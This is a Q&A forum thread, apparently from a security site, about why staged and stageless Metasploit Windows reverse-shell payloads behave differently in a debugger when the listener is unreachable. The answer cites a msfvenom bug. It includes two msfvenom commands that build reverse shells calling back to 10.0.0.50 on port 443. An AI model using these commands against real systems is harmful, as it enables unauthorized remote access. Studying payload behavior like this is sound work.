8

The above 2 Metasploit payloads are used to create a reverse shell from one system to another. The difference between them is clearly explained here https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work

However, I am trying to understand how both payloads will act if the system they are trying to connect to is not reachable.

for example:

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.50 LPORT=443

and

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.50 LPORT=443

will try to connect to "10.0.0.50". The question is how each payload is going to act if "10.0.0.50" is not listening on port "443" ?

Both payloads are using EXITFUNC process, however, when I run them inside a debugger and place a breakpoint at the last instruction of the shellcode, I got different results.

I see both of them utilize "mswsock.dll" trying to connect to the remote system, once timed out (default is 5 seconds):

  • shell_reverse_tcp will show "process terminated" inside the debugger and EIP is pointing to ntdll.KiFastSystemCallRet. The breakpoint will never be hit
  • on the other hand shell/reverse_tcp will hit the breakpoint at the end of the shellcode

Notes:

  • I confirmed that both payloads working fine by connecting successfully to the remote system if its listening on the preconfigured port.
  • shell_reverse_tcp hits the breakpoint only if it first was able to connect to the remote system. After exiting the shell on the remote system using exit inside CMD, then the breakpoint will be hit.

Any idea why one is hitting the breakpoint and one does not if the remote listener is not reachable ?

Thanks in advance.

Ahmed Taher
  • 701
  • 6
  • 13
  • 23
  • 1
    i thought always one is staged and the other is Non-staged payload (windows/shell_reverse_tcp) Cheers – fdsa May 14 '18 at 09:28

1 Answers1

2

It turns out to be a bug with the shellcode generated by msfvenom

https://github.com/rapid7/metasploit-framework/issues/5811

Ahmed Taher
  • 701
  • 6
  • 13
  • 23